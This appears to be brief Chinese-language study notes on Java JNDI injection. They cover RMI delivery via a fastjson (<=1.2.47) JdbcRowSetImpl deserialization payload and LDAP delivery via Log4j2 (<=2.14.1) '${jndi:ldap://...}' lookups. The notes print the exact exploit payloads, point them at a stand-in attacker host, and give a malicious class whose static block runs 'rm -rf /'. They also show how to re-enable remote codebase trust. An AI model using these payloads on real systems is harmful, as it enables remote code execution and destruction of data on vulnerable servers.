有 attach.class (编译好的文件)
static{
Runtime.getRuntime().exec("rm -rf /");
}
1.rmi注入
攻击者建立rmi服务端,于rmi服务端建造一系列攻击对象 ,假设远程地址为 http://abc,可url链接到恶意class-attach.class
若被攻击者访问到此服务 rmi://abc/attach.class ,静态代码块会优先加载,无需构造对象。
fastJson通过序列化漏洞 fastJson<=1.2.47 (高版本添加了序列化白名单和黑名单)
{
"a":{
"@type":"java.lang.Class",
"val":"com.sun.rowset.JdbcRowSetImpl"
},
"b":{
"@type":"com.sun.rowset.JdbcRowSetImpl",
"dataSourceName":"rmi://abc/attach.class",
"autoCommit":true
}
}
在调用JSON.parse()时,若序列化字符串里为上述字符串,则会自动将JdbcRowSetImpl 的 dataSourceName链接改为 rmi远程地址并访问。
2.LDAP注入
JDK < 8u191
高版本需要设置参数才可开启漏洞
System.setProperty("com.sun.jndi.ldap.object.trustURLCodebase", "true");
Log4j2.x<=2.14.1
JNDI(Java Naming and Directory Interface)是Java平台中的一种API,用于访问命名和目录服务
攻击者搭建 一个 ldap服务器(如marshalsec)假设远程地址为 http://abc,可url链接到恶意class-attach.class
str="${jndi:ldap://abc/attach.class}";
logger.error(str);//logger.info(str);
会根据表达式去寻找对应的目录
若被攻击者访问到此服务 jndi:ldap://abc/attach.class ,静态代码块会优先加载,无需构造对象。
若在attach.class使用dnslog即可完全控制web应用
http://www.dnslog.cn/